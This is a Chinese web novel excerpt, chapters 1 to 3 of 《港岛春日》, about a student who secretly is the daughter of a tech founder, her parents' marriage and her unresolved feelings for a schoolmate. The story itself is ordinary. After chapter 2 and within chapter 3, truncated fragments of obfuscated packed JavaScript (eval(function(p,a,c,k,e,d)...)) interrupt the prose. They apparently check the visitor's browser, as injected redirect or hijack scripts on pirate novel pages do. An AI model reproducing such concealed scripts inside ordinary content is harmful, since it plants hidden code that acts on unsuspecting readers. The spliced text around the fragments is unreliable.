《港岛春日》 1. 第 1 章 “市气象台升级发布暴雨红色预警信号:预计今日午后14时开始,我市将出现强降雨天气,降雨量可达150毫米以上,请广大市民做好防范,非必要……” 手机跳出提醒,方太初还没来得及点进去查看具体消息,窗外大雨就来势汹汹地落了下来,并很快织成一张密不透风的网,将整个天地笼罩其中。 大礼堂内的光线瞬间暗淡了几分,原本嘈杂的人声也因为这突如其来的暴雨静谧了十几秒。 紧接着就是更加令人心烦意乱的交头接耳声。 等待的时间太过漫长,大家的情绪显然已经十分焦灼。 “太初。”旁边的女孩碰了碰她的胳膊。 方太初闻言抬眸,并顺手关掉了蓝牙耳机,“嗯?” “你说。”女孩看了看表,面露忧色,“待会的活动还能准时开始吗?这也就不到十分钟了,我刚看到秘书室葛主任一直在走廊和什么人通着话,表情相当凝重。” 方太初挑了挑眉,笑她:“我的艾琳小姐,既来之则安之,你急什么?煮熟的鸭子它还能飞了不成?” “你说得倒轻松。”艾琳瞪她一眼,“这可是钱!我还指着这笔钱暑假出去玩呢,行程都定得差不多了,这要是被今天的金主放了鸽子,我找谁哭去?” 方太初失笑,“人家那么大一个金主,被你说的好像烟花地买完笑就赖账的混球。” 听她这么一说,艾琳顿时来了精神,眼底都是八卦之色,“哎,你猜猜今天这座无虚席的大礼堂,除了咱们这要登台领奖的三四十个人,剩下那一千来个人都是来干嘛的?” 方太初沉思了几秒,试探地答道:“不是来听讲座的吗?咱们学校每次举办‘名家讲堂’活动,大家不都这么踊跃吗?” “天真!”艾琳戳了戳她的脸颊,“跟你说,这次这一千人里面啊,估计得有大半都不是我们学校的学生。” “这帮人疯了?尤其今天还这么大雨?”方太初表示不理解。 “你懂什么!人家是来一睹今天这位大佬芳容的好不?” 方太初始料未及,不禁眯着眸子瞧了眼大屏幕上大佬的照片,但可能是她眼拙,她看了半天,也没看出他有什么特别来。 那帮成功人士对外形象宣传不都那样吗?将头发梳成大人该有的模样,再穿上一身帅气西装什么的,无非是有些男人到了一定年龄,就不再有头发可梳,衬衫扣子也扣不上半颗了罢了。 要是从这个角度出发,那他倒也能算个帅哥。 但若一定要从这个角度出发,那这个帅哥的标准是不是也有点太低了? “这……帅吗?” “这还不帅?”艾琳恨铁不成钢,“知道你十六岁就上了大学,在感情上比旁人晚熟一点,但你现在好歹也二十岁了,就算再怎么没谈过恋爱,也该对男人有个基本的概念了吧?” 方太初蹙了蹙眉,没说话。 “我问你。”艾琳诲人不倦,“科技圈那么多位大佬,这一位也算不上最成功的,但为什么偏他最受人喜欢?” 方太初犹疑了一下,随即已经理解了艾琳的逻辑,“因为他帅?” “不不,你这也太肤浅了。”艾琳奇怪地看了她一眼,“你都不觉得战略眼光和科技创新能力才是他最魅力非凡的地方吗?” 方太初呼吸一滞,很有些无语。 艾琳继续说道:“你就说都是干互联网起家的,有几个人能像他这么精准把握市场?就比如他当年斥巨资收购梦游九霄这事儿,一般人谁敢干?他怎么就能知道游戏行业接下来会那么赚钱呢!他又怎么知道他一定能做好呢?你说,他是不是有赌的成分?” “那应该是没有,他不是那样的人。”方太初语气笃定。 “对吧?”艾琳眼神里都是兴奋和热切,“所以啊,今天这个奖学金颁奖大会,说是他支持大学生科技创新和学术研究也没错,但从另一个角度讲,难道不是他亦方科技招揽顶尖人才的最好机会吗?你瞧着吧,待会肯定好多递简历的。” 方太初稍稍心安,下意识地说道:“递简历总好过真的来一睹芳容的吧,不然这好好的活动成什么了。” “所以说你天真。”艾琳笑,“我刚刚话还没说完呢,他受人喜欢当然也和他人长得帅脱不开关系啊,你不觉得他无论身高还是五官都是绝杀吗?” 方太初神色古怪,“可是他老了啊!” “哪里老!人家才四十九岁!正当年好吧?就凭人家这身家,生活中不定多少年轻姑娘生扑呢,也就你嫌弃人家老。” “所以,你也喜欢他?”方太初的眼神逐渐冷下来。 艾琳平时接触的都是温柔明朗、凡事不太计较的她,这一刻不禁心下一凛,下意识澄清道:“我喜欢他做什么!我只喜欢姐弟恋你又不是不知道。” 方太初覆上她的手:“那就好艾琳,你是我最好的朋友,无论谁喜欢他,都拜托最好不要包括你。” 艾琳没太明白她说什么,刚想细问,思绪却被人群中突然爆发的欢呼和喧哗声打乱,她不明所以地转过头去,才发现她们今天谈论的主人公,亦方科技的创始人方协文已经在葛主任的陪同下进了大礼堂。 现场的气氛已经热烈到了极致,所有人都在拍照录视频,她顾不上那么多,赶紧也拿出了手机。 方太初的视线也随之落在了父亲身上。 当然,现场这一千多人除了她和他,以及亦方的工作人员和部分校领导,并没有人知道他们之间的关系。 她不是个喜欢高调的人,更不觉得父亲的成功和光环和自己有什么关系。 在她们这种层级的学校,最不缺的就是高智商的天才,她也是到了这里,才逐渐认识到自己在天赋和自律程度上和别人的差距。 本科四年主修数学辅修法学,已耗尽她全部精力,截至到目前,除了自己和自己的学业,她并不想关注太多外界无用的信息。 可刚刚艾琳的话,还是让她乱了心。 她又仔仔细细看了看父亲。 穿一身黑色西装,远远看去头身比绝佳、五官和身高都无可挑剔,的确算是有点魅力的,父亲。 只是她从没有从一个女性的角度看过他,突然这么一看,还挺陌生的。 他已经和校领导一同落了座,坐在他下首的,正是陪伴他左右将近二十年的亦方公关部总监,肖小雨。 艾琳说她晚熟,事实却截然相反。 她早慧得简直不能再早慧。 小初抿唇叹了口气。 她是个从小被爱包围着长大的孩子,按说应该是无比独立坚韧,积极乐观的,事实上她大多数时候也确实如此——只关注自我,很少被外部环境裹挟。 可没人知道,父母离婚那十年,曾给她性格底色增添了多少不安全感。 以至于有段时间她一直都在担心她那女神一般的妈会被外面那些爱慕者抢走,而现在,她轻笑,境况似乎要反转,她竟然隐隐开始担心她爹了。 这两人什么时候才能让她省点心? 思维正漫无目的的发散着,台上的领导终于讲话完毕,将话筒递给了方协文。 演讲稿不小心从他手中脱落,他还未反应过来,肖小雨就已经弯下腰去,帮他收拾好了一切。 艾琳见状立刻偏过头来,和小初感叹,“哎,这个女的好像每次出席活动都在方总身边,感觉他们好默契啊。” 小初心里有些不快,却未显露,“大概就是老员工吧,用着顺手了。” “我听说,他们这帮有钱男人,好多都喜欢在公司内部下手,为的就是让有能力的女下属死心塌地跟着自己,私生子更是一个接一个的生。我记得这方协文跟原配就一个独生女吧?这么多年他把妻女一直保护得挺好的,从没在媒体上曝过光,也不知道这个大小姐是个什么样的人,将来能不能凭一己之力护住自己和妈妈。” 小初默然。 要不是她足够了解艾琳,她一定会以为她是在故意挑拨。 窗外的雨越下越大,瀑布般倾泻 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但亦方奖学金设立四年,这却是他真真正正第一次亲自来颁奖,无他,只因这个奖项竞争实在太激烈,她也是努力了四年才好容易拿上一次一等奖…… 他说他再不来下次就不定还有没有机会了。 小初咬了咬牙,顺便还想起了她爹说这句话的时候,她妈黄亦玫黄女士差点笑倒在他怀里的画面。 “这就是顶级人夫和人父吧,我的天好有X张力。” 小初正在回忆里神游呢,艾琳一句话就把她拉回了现实。 方协文演讲结束就到了颁奖环节,主持人适时喊了她的名字。 方太初站起身,刚好捕捉到了她爸隔着人群看向她的骄傲神色。 和她一块接受颁奖的一共十三个人,她本想率先站到他身边去以便台下亦方的宣发人员记录下这个历史性的时刻的,却不想还是慢别人好几拍,等她走上领奖台的时候,就剩最边缘一个位置了。 一个成功抢到方协文身边位置的女孩甚至害羞得当众捂起了脸,立刻引发台下一阵大笑。 好多女生在喊,“方总好帅!” “方总腿好长!” 光合影就合了好几轮。 台下帮她拍照的艾琳不管不顾地喊她,“方太初,你也往中间来呀。” 见她不动,她又跑上去去拉她,嘴里跟旁边的人说着:“不好意思。” 动作却比谁都快准狠,三两下就把她塞到了方协文旁边。 方协文赞许地看了艾琳一眼。 小初立刻不动声色地往远离她爸的方向挪了挪。 方协文还当她不好意思,凑过来笑得像个开屏的孔雀,趁乱跟她小声说道:“你看亦方的相机,一会儿我好把照片发给妈妈。” 小初却无可无不可的,表情管理十分到位,嗓子眼却在哼哼,“方总你再跟女学生眉来眼去,我回去就告诉我妈,看她怎么收拾你。” 方协文的笑容瞬间凝在了脸上,表情很是难以置信,“小崽子你疯了?什么眉来眼去!” “哼。” 方太初懒得理他。 拍了照就跳下了台。 艾琳倒是兴奋得满眼放光,“哎,方太初,我之前怎么没发现你和方总这么像?而且你俩都姓方!难道他是你小叔?” 小初没好气,“你干嘛不索性猜他是我爸!” “他看着这么年轻,哪里像你爸!” 小初嘁了一声,“但我比他好看多了吧?” “好看是肯定比他好看……”艾琳神色逐渐认真,“但就是说不上哪里很像。” 小初不想就这个话题继续聊下去,赶紧转移话题,“一会儿你上台领奖,我也帮你拍。” 艾琳马上忘了刚才要说什么:“OKOK,记得拍好看一点啊,回头我要当屏保!” “……”小初无语。 我把你当闺蜜,你却在幻想我爸? 这对吗? 啊? 2. 第 2 章 活动结束,小初就收到了肖小雨发来的消息,说是方协文已经安排了司机载她回家,让她好了跟她说一声。 小初烦闷地蹙了蹙眉,若是遵从她的本心,她一定会非常不客气地回一句,“我爸呢,他是不记得他闺女的微信号吗,还要劳烦您从中转达。” 但她的教养和情商都不允许她这么做,而且作为她爸唯一、就算不唯一也必须唯一的接班人,她绝不能轻易得罪亦方的任何一个元老级人物。 所以,她只能尽量让自己的语气看上去温驯一些,“辛苦你了小雨阿姨,不过,我不太想学校的人看见我上亦方的车子,不然回头不定要传出什么流言来,我还想再自由两年呢。” 肖小雨很快就回了过来,“方总知道,所以安排的就是辆普通的车子,也不要你跟我们一起走,你就当自己打的网约车呗,今天雨这么大,你自己回家我们都不放心。” ——我们。 这两个字让小初眼皮一跳,但她还是回了句,“好。” 肖小雨又说:“方总让你先回去陪妈妈,他这边还有点别的事需要处理。” 小初这才想起来,他们之前约好了今天要一起回家吃饭的。 “那就麻烦小雨阿姨跟我爸说早点回家,免得我妈妈会一直等。” 说完又补了句,“小雨阿姨也是,雨很大,回去晚了乐昭叔叔该担心了。” 后面还附了一个可爱的表情。 肖小雨果然很受用,说:“小初长大了。” 小初没再回。 艾琳碰了碰她的胳膊,示意她看向窗外礼堂门口,“好大的阵仗,好帅啊。” 小初顺着她的视线看过去,刚好看见方协文在和校领导们告别,平时不苟言笑的葛主任态度极为热络,笑得像朵花。 外面的雨势丝毫不见停歇的趋势,方协文的助理亦步亦趋地跟在他身边帮忙打着伞,人高马大的两个保镖即使天色这么暗仍然坚持戴着墨镜,看着极为不好惹。 其余的亦方工作人员更是无一例外全部穿的正装,浮夸得要死。 一会儿的功夫,一行人就呼啦啦上了几辆车,消失在了雨幕中。 小初嘴角一抽,继而又无比庆幸自己大学这几年的行事低调,要是像她爸这样到哪都前呼后拥,时刻被人以异样的目光关注着,她绝对会疯。 她爸越红,她越危险。 她的骄傲和自尊不允许自己遭受那样的对待。 虽然她爸妈从小就教育她,只专注自己,不要太在外界的目光,永远不要陷入自证。 可她做不到,即便他们已经如此宽松待她也做不到。 她想,她的倔强大概在她还是个小小的受精卵时,就已经深植在她的基因里了,从此无可撼动。 否则,作为一个躺平三辈子也饿不死的富二代,她何必非考什么少年班,读什么数学,明明国外随便读读艺术或哲学就好了啊。 就连她舅舅都说她,可以,但没必要。 她只能说他们都不懂她。 和艾琳告别,小初就从善如流上了家里司机的车。 雨依旧很大,刚出校门口,他们就遇上了积水路段,还好司机的驾驶技术比较成熟,即便水深已经超过25厘米,最后还是安全通过。 从四岁跟着离婚的母亲离开上海回到北京,她就已习惯了奔波。 从最开始姥姥姥爷家的清华家属楼到方协文在北京置办的第一套大平层,到她高中住了三年的某高知聚集的高档社区,再到如今东四环毗邻朝阳公园的富人圈独栋别墅,不用任何人的特别说明,她也看得出亦方科技的光景是每况愈上的。 回到家,黄亦玫正在厨房和佣人交流怎么煮一锅更软烂入味的牛肉汤。 小初不敢相信那个拿着汤勺的女人就是她的母亲,在她的印象或者是执念中,她的手,只能是拿画笔的,签合同的,握香槟的,甚至开飞机的,拿什么汤勺呢。 她没有注意到此刻她的身影,依旧和佣人兴致盎然地讨论着,“你是说,这个牛肉切好后要先冷水浸泡去除血水?” 佣人点头,“不过太太不用担心,血水我已经处理过了。” 她的脸上立刻浮现出满意的微笑来,“太好了,所以我们现在冷水下锅就好,对吗?” 佣人说是。 黄亦玫一边学她的样子下锅一边自言自语,“小初和她爸爸都喜欢这个汤,但愿我这次能成功。” “肯定能成功的太太。” 黄亦玫眨眨眼,即使在四十八岁的年纪也看上去那么清爽和俏皮,“你说的哦。” 小初用目光轻轻打量着母亲。 从她盈白无暇的一张脸,到她柔顺的弯弯长发,到她身上充满生命力的绿色长裙,再到她依旧纤细的腰肢和曼妙的身体曲线。 最后她忍不住叹口气,还好,尽管到了这个年纪,黄小姐仍是她记忆中那个美丽的仙女,无论是与方协文有二十年工作默契的肖小雨,还是大礼堂里那些青春朝气的女学生,都不能与之相比。 她不是希望母亲非得靠天赐的容貌去争取什么,她只是觉得,父亲若真的像他们说的那样拥有不止一个隐藏在角落里的女朋友,对这样的黄小姐是一种侮辱。 她可以允许自己受委屈,却绝不能容忍母亲被侮辱。 “小初?”黄亦玫终于发现了她,“你什么时候回来的?” “刚进门。”小初笑,“你在忙什么?” “跟阿姨学做牛肉汤。”黄亦玫过来帮小初把卫衣的帽子摘下来,“怎么,外面雨还是很大吗?” “还行。” 小初顿了顿,还是说道:“妈,这些事不必你亲自做的。” “我今天刚好有空嘛。” “可你的手是拿画笔的。” “傻瓜。”黄亦玫大笑,“谁跟你说拿画笔的快乐就一定比给自己爱的人炖一锅牛肉汤更高级?” 小初不想跟一个哲学家辩论,于是没吭声。 黄亦玫又说:“对了,今天的奖学金颁奖典礼怎么样?我看到你爸发过来的照片了,方同学,你太让我们骄傲了!怎么样,整整五万块的奖学金呢,你打算怎么花?” 小初轻笑一声:“五万块而已,大概够去趟马尔代夫?” 黄亦玫沉吟:“马尔代夫也挺好的,这段时间你准备法考也挺辛苦的,去放松一下也不错。” “为了我这五万块我爸这四年付出了快两千万,你们不觉得亏?” 黄亦玫捏了捏她的脸,表情看着有些无奈:“谁教你这么算账的?” 小初不语。 黄亦玫看了看窗外,神情有些担忧:“今天是暴雨红色预警是吧?也不知道你爸几点能到家,可千万别碰上积水路段。” “我回来的时候还好,应该不会。” “嗯。” 小初本打算什么都不说的,可还是没忍住,“小雨阿姨今天也来了。” “是吗?”黄亦玫似乎根本没体会到她的深层含义,“今年北京的天气是有些反常,我猜着还不如上海的夏天舒服呢,也不知道你小雨阿姨能不能适应。” 小初为母亲的善良和大度所折服。 想了想又说道:“你都不知道今天我们大礼堂那些女生对方先生有多热情,一直喊方总好帅呢。” 这下黄女士似是终于有些意外:“是吗?你们零零后竟然还能喜欢他这一款呢?怎么样,方总得意坏了吧?” 小初是真不知道该说些什么了,或许,每个人都有自己的处世智慧吧。 隔了差不多有半分钟,她才说道:“妈,我先下楼跑步去了啊。” “好,等你锻炼完,你爸估计也差不多回来了。”黄亦玫看了看表,眼角都是幸福,“等你们开饭。” 小初点点头,烦闷地走向了自家的健身房。 黄女士果然料事如神,等她四十分钟后再上楼的时候,刚好碰见面色疲惫的方协文在换鞋。 小初眼尖,迅速捕捉到他的黑色袜子上的一处破洞。 原来,无论在外面多么光鲜亮丽的大人物,私下也就那样。 “妈妈呢?”他问。 “不知道,大概在厨房吧。” 方协文关上鞋柜门,又不动声色地看了她一眼,似有些嫌弃,“你这穿的都什么啊?” 小初低头看了下自己身上的宽大的卫衣和卫裤,心底的火一下就被点燃了,“方总,我们年轻人现在都是怎么舒服怎么来,你看不惯,只能说你老了。” 方协文的呼吸一滞。 小初冷哼。 两人谁也没再理谁,都径直走向客厅。 然后才发现黄亦玫并没在厨房,而是在沙发上睡着了。 她睡着的样子很温柔,海藻一般的头发覆盖了半张脸,另外半张脸在光影中忽明忽暗,即破碎,又动人。 也不知道她梦到了什么,一串水痕竟从她眼角落了下来,越过优越的鼻峰,最后在沙发上形成一泊小小的湖。 小初立刻有种不好的预感,她大概率要倒霉。 然后果然,下一秒,她爹就蹙着眉极其不耐烦地转过头来,目光锐利,“你跟你妈妈胡说什么了?” “……” 小初咬咬唇。 静默。 “是不是说什么眉来眼去的事了?不是我说方太初,你好歹也上的全国Top2的高校,书都读到谁肚子里去了?”方协文的面容极为冷峻,“你明知道你妈最近情绪不稳定,能不能懂点事?” “情绪不稳定,她怎么了?”小初一愣。 方协文也不答她,只温柔地摇了摇黄亦玫的肩膀,像是捧着什么易碎的水晶,“玫瑰?老婆?怎么睡在这了?” 黄亦玫缓缓睁开眼,只稍稍认出方协文的影子就勾起了唇,“老公。”但看上去仍旧很疲惫,“你什么时候到的家?外面雨还在下吗?这段时间看你工作太累了,我特地跟阿姨学做了牛肉汤给你补补。” 一边说,一边挣扎着想要坐起来。 却被方协文抱住,抹了抹她的眼角,“我不累。都说了,你不用等我的,我这时间不可控你又不是不知道。” “没事,我又不饿。” “都几点了,怎么可能不饿。” 一旁的小初实在看不下去两人的腻歪,只能将视线落在沙发旁的发财树上。 别的不说,他们家的发财树长势还真茂盛,看来,他们不发财都不行。 “走,先吃饭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄亦玫笑,话锋突然一转,“要不,你也去找个男孩谈谈恋爱吧,这样你业余时间就有事可做了,免得天天惦记我们。” 小初被八零后的精神状态震惊到,半晌都没说话。 她实在没想到,他们竟然能在二十一世纪二十年代,还满脑子纯爱。 真该让他们体会一下被人骗到倾家荡产,家里发财树叶子都被摘走的滋味。 方协文也说:“实在不行你也可以去旅旅游,比如南极什么的。” 听得出来很烦她了。 “旅游可以,谁敢恋爱?”小初有些无语,“现在的人都清醒得很,谈恋爱都是想从对方那里索取点什么的,要么钱,要么情绪价值。这两样我又都不缺,凭什么要去便宜别人。” 黄亦玫说:“简直危言耸听。” “跟你们说你们也不懂。”小初喝了一口酒。 真难喝。 方协文说,“要不,我帮你从我们圈子里挑一个?” “算了吧,你们单位全是卖命的牛马。”小初半开玩笑,“我才不要和那些物质欲望还没被满足的人浪费时间。” 黄亦玫听了瞬间笑出了声。 方协文蹙了蹙眉,感觉当年的自己有被针对到,“有钱的就好?” 小初眨眨眼,“刚想说,有钱但精神匮乏也不行。” “所以你既要物质还要精神。” “错,是要被物质滋养过的富足的精神。”小初顿了顿,“除此之外还有美貌。” “拉倒,你单着吧你。”方协文忽地站起身,拉过黄亦玫的手腕,“走,老婆我们去茶室喝茶。” 小初大笑,挡住她爸妈离开的路线,反客为主:“不行,你们必须给我物色一个合适的!逃避解决不了问题!你们要是不上心,我可就开始琢磨怎么挑拨你们夫妻关系了哦。” 方协文极为无语地瞪了她一眼。 黄亦玫倒还真认真思考了几秒,“行吧,那你明天跟我一块去舟舟学校参加活动吧。” 小初愣了愣。 舟舟,Tina阿姨的老来得子? “妈!你是不是太离谱!舟舟才几岁啊!” 黄亦玫眨眨眼,“你大概还不知道,舟舟和你一个不缺物质、精神富足、长得还很帅的中学同学的妹妹,刚好是同班同学,我和他妈妈很熟。” “很帅的中学同学?我人生里有过这样一个人?”小初一头雾水。 “明天去了你就知道了。” “玫瑰。” 方协文接过话去。 “嗯?” 就在小初竖起耳朵想听听她爸对此有什么高见时…… 他问的竟然是:“你刚刚在沙发上梦见什么了,哭得那么伤心。” “没什么,我梦到丢丢了。” “别想那么多了。”方协文似是心疼极了,也没顾及女儿还在身边,就把老婆紧紧圈进了怀中,并温柔吻了吻她的头发。 小初立刻将视线投向了窗外。 假装自己现在就在南极。 3. 第 3 章 丢丢是家里之前养过的一只猫,她父母爱情的见证者之一,最后死于一场猫瘟。 也是在一个多雨的夏天。 小初至今仍清楚记得它走之前眼睛红肿模糊的可怜样子。 或许是万物皆有灵,临走之前,早已感官衰退的它,竟突然朝着妈妈的方向微弱喵了两声,像是一种正式的告别,随后就离开了这个世界。 这情景实在刺心,黄亦玫几乎没因此而哭到昏厥。 当天傍晚,得到消息的方协文就乘飞机抵达了北京,并陪她们一块埋葬了丢丢。 小初那会儿已经十一岁了,对死亡已经有了自己的理解,不像小时候,还能听信大人的话,吃个蛋糕唱个歌就轻描淡写将那一页翻过去了。 她很难过,又不知道该怎么办,就死死抓着她爸的袖子,说什么也不肯放他回上海。 方协文于是真的留下来陪了她一个星期。 可他总不能一直陪下去,上海还有大堆的工作等着他处理,更何况,他们当时已经离了婚。 等他不得不离开的时候,她心脏上因为丢丢而缺失的那块不仅没有任何愈合的痕迹,反而又牵扯出一块陈年旧伤来。 她这才发现,原来她一直都没有真正接受父母的分开,痛苦是不能被代偿的。 就像咖啡加全糖入口的味道也不会是甜,某些失去是她没办法拿拥有对冲掉的,尽管她拥有的一向比一般人多。 小初不想父母看出她心情不佳,也就没跟着他们一块去茶室喝茶聊天。 外面天色已经大黑,院子里的太阳能灯都亮了起来,映得本就郁郁葱葱的小花园格外朦胧,美如仙境。 她扯了块毯子,在露台和小花园连接处的榻榻米上躺了下来。 雨还没停,但头顶有遮雨的屋檐,倒是淋不着她,反而可以让她静静听听雨。 榻榻米下池塘的锦鲤还以为她是来投喂它们来的,纷纷向她游了过来。 小初被逗笑。 忍不住骂了几句,“你瞧瞧你们一个个都胖得小猪似的了,还惦记着吃呢!” 又拿出手机,找到叶子瑜的联系方式,发消息过去:「暑假返京吗?」 知道他未必会回她,她索性把手机塞回了枕头底下。 他们已经快半年没联系,要不是刚刚黄亦玫提起他时她慌得心脏差点漏了拍子,她还真以为自己已经放下了。 一开始,她也没明白她妈说的人是谁。可她的男同学里,条件不错人长得帅,还有那么小一个妹妹的,除了她爸口中鼎鼎大名的叶子瑜,还有其他选项吗? 认真来讲,她和叶子瑜并不算恋爱过。这么多年,他们的关系始终处在一种微妙的暧昧之中,又从未越界。 连牵手都无。 她不傻,自然看得出他一直很喜欢她,她也不是没给过机会让他表白,甚至不止一次。可每到那个时候,他都会巧妙地转移话题,装作无事发生。 等她失落一阵,好容易打起精神,他便又会来招惹她,眼底的炽热和偏爱丝毫不减。 如此反复,从她十六岁考上大学开始到半年前他单方面和她断联结束。 小初自嘲地冷哼一声,谁能想到众星捧月般的长大的方太初,也能被人如此玩弄在股掌之中。 她拿过一旁的鱼食,恨恨抛进池塘。 众鱼都来抢。 唯有一只不识风情,躲在一片莲叶下面暗中看她,仿佛她喂的是什么毒药似的。 “喂!”小初倏地就坐起了身,伸手就去按那只鱼的脑袋,“你躲什么躲!我有那么可怕吗?你这个傻子,错过我,看谁还对你这么好!” 那鱼被她吓得惊惶,一摆尾就不见了。 小初叹口气。 “干嘛呢方太初,大晚上不睡觉跟鱼吵架?” 背后一不可思议的声音响起。 是方协文。 小初回过头去,发现她爸已经换了家居服,显然是已经准备休息了,却不知什么原因又下楼来了。 被偏爱的自然有恃无恐,她有些不耐烦,“这您就别管了,我就高兴和鱼吵架。” 对,尤其是那只讨人厌的瑜。 方协文似是觉得她头脑有些问题,沉默了好一会儿才又说道:“你给的太多了,鱼都要撑死了,工人白天肯定已经喂过了。” 小初一愣。 是她给的太多了吗? 方协文又说:“快回屋去,别在这又喂鱼又喂蚊子了,等下被咬的满脸包,你妈又要心疼。” 小初真想跟他们这帮腻歪的情侣拼了,却也明白她爸说的很对,于是应声道:“好我知道了方总!您这好容易回趟家,赶紧上楼去陪方太太好不好?” “方太太洗澡去了,暂时不需要人陪。 小初原以为她爸听了她的话就会自顾自上楼去的,不想他却反其道缓缓下了台阶,在她旁边的藤椅上坐了下来,“老爸可以先陪陪你。” 小初说:“儿臣惶恐。” 方协文从她手中拿过鱼食,“我来教你个好办法,让它们乖乖听话。” “什么方法?”小初瞪大眼睛。 “先饿它们三天。” 小初嘴角一抽。 “实在不行就饿一个星期。”方协文点燃桌子上的蚊香,不经意又加了句,“你就不该申请那个什么香港的国际交流项目,你若非把自己变成飞蛾,就别怪人家用火炙烤你。” “爸!”小初倏地抬眸过去,“你都知道?” 方协文冷笑一声,上位者的压迫感忽地随着夜色蔓延开来,“姓叶那小子不就在那边读医吗?好像还是牙科?” 小初坐不住了,骤然起了身,吓得一池锦鲤迅速四散开去,躲到水草丛中和睡莲花下。 “爸,你没事查人家干嘛?他还不是我男朋友呢,你这么快就审查人家具不具备做你女婿的资格是不是太早了点!” 他眯了眯眸子,“还不是男朋友?” “当然!”小初气得呼吸不稳,“我说他怎么突然就不理我了,一定是你做了什么把他吓到了!” “他还敢不理你?” “这是重点?” 方协文说:“我说你怎么这半年跟个炮仗似的随便一点你就爆炸呢,就为了这么个毫无担当的男的?” “我……”小初顿住,“你别污蔑人,我情绪向来稳定好不好?我要真为了个男的就内耗自己,还能给你拿回个一等奖学金?” 方协文这才极淡地一笑,压迫感稍稍散开,“这才有点我和黄亦玫孩子的样子。” 小初口不择言,“早知道给你们做孩子这么辛苦,我就干脆别出生好了。” 方协文瞬间皱起了眉:“胡说什么?我和你妈妈这么爱你,还做错了?你倒是说说你怎么辛苦了?” “要不是为了让她看见我的时候就能对你多一丝温情,我需要这么难为自己非这么努力吗?你知道我这些年有多怕她突然又不要你了吗?” 方协文第一次从孩子口中听到这些,不禁整个人都怔住了,下一秒,就红了眼尾。 “同理,也希望您看见这么优秀的我时多想想我妈这些年培养我的不容易,别因为自己变有钱了,就飘飘然不知今夕何年了。” 方协文眼底氤氲的水汽瞬间就凝成了冰,感动消失得无影无踪。 “你还是多关心关心你自己吧!” “怎么了,俩人又吵什么呢?”黄亦玫洗了澡下来,身上裹着浴袍,发尾还是湿的。 “玫瑰,你头发没吹怎么就出来了?小心着凉,走,回去我帮你吹。”方协文赶紧起了身,帮她挡住风。 “不冷,我还觉得心里燥呢,好想吃冰。” 小初告状:“妈,我爸查我感情生活。” 黄亦玫稍稍偏过头去,斜睨了方协文一眼。 方协文立刻否认:“你知道我没有。” “没有你会对叶子瑜的情况那么了解?” 黄亦玫眼底滑过一丝了然:“所以你真的在跟叶子瑜谈恋爱?” “没有。”小初的声音低不可闻。 “爸爸没查你,叶子瑜的情况是我跟他说的,我和他妈妈连筝偶尔会一块出来喝咖啡。”黄亦玫替方协文解释。 “哦。” 方协文说:“看这意思是她喜欢人家,人家不喜欢她。” “谁说的!”小初要哭了。 “人家要是喜欢你,会半年多都不联系你?我和妈妈也年轻过,你问问她,这么多年我有没有超过半天不联系她?” “你少说两句。”黄亦玫瞪了老公一眼,并温柔摸了摸小初的头发,“别纠结,直接去把答案找出来,然后再做决定。你才二十岁啊方小姐,你的人生才刚刚开始呢,谁喜欢你不喜欢你都不重要,最重要的是,你要百分百绝对喜欢你自己,你要让自己开心起来。” 小初有些想哭,但她忍住了,只垂眸去看池塘里的鱼。 黄亦玫和方协文的视线却都落在了女儿身上,看着她即使如此难过,也难掩的明艳温柔和倔强破碎,不约而同都想起了自己年轻时候的爱人。 她像他们,无论气质还是样貌,所以她不折不扣是个大美人,光是站在那,就同明珠一般让人移不开眼。 却又不那么像,她更像的,永远还是她自己。 作为父母,就算再心疼和不舍,他们也深知很多东西不能完全靠教育去传授,只能靠她自己去经历和体会。 “我们明天要见的就是连筝阿姨吗?” 半晌,小初终于抬起头来,情绪已经平复下来。 “聪明。”黄亦玫笑。 小初点点头,“我先回房间睡了,你和爸爸也早点睡。” 说完,她就转了身。 方协文在后面喊:“这就走了啊方同学?你走了这满院子的蚊子谁喂啊。” 然后就听见黄亦玫没好气说了他一句:“你现在怎么这么贫啊方协文?难怪能和年轻人打成一片啊。” 方协文立刻服软,“老婆我冤枉。” 小初不自觉勾了勾唇。 回到房间,她才敢拿出手机。 叶子瑜竟破天荒回了消息过来:「大概率不回。」 小初咬了咬唇,不想再秉承矜持:「那我九月份到香港时候记得来机场接我。」 说完又补了句:「当然,你也可以试试不来。」 这一次,他回得很快:「我会去。」 和舟舟做同学的叶子璇其实是叶子瑜同父异母的妹妹,连筝并不是他的亲妈。 叶子瑜的抚养权虽然在亲妈于静手里,但他大多时候都跟着连筝生活。他们上中学那会儿,他跟她聊的最多的就是他这个后妈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶子瑜的家庭虽然只是中产,但听说他爸可是某全球知名咨询公司的合伙人,年薪两百万不止,叶子瑜藤校本硕期间所有费用加起来怎么样五六百万也就够了,怎会成为他们的负担? 难道是他们不想为他付出? “有些话站在我这个立场真的没法说,但我又实在心疼子瑜,你知道的,我一向视他为己出,他之前的留学规划甚至都是我给做的,我自己就硅谷回来的,除了美国那几所高校,别的学校我压根看都没看。”连筝红了眼睛。 小初递了张纸巾过去。 “他爸因为他这个决定都被气病了,两父子已经两年没怎么说话了。” 不是连筝夫妇,所以,问题出自叶子瑜的亲妈于静? 小初对于静同样知之甚少,所以她猜不到这中间到底发生了什么事。 “你到时候自己去问他吧,毕竟,他心里怎么想的,只有他自己最清楚。” 小初心烦意乱,却也只能点头答应。 再问下去,就不礼貌了。 连筝最后又期期艾艾地问了句:“子瑜和你联系了吗?他有没有说他这个暑假回不回家?我们都很想他,去那边看他他又不肯见面。” 小初摇摇头,只说:“他和我也好久没联系了。” “这孩子心里苦,那就拜托你了小初,到时候帮我们好好劝解一下他。”连筝抓住小初的手,像是抓住一根救命稻草。 回去的路上,小初始终沉默着。 直开到离她家只剩三个路口,黄亦玫才率先开口:“听上去,他这是自我放逐了,因为某些家庭原因。” 小初点头。 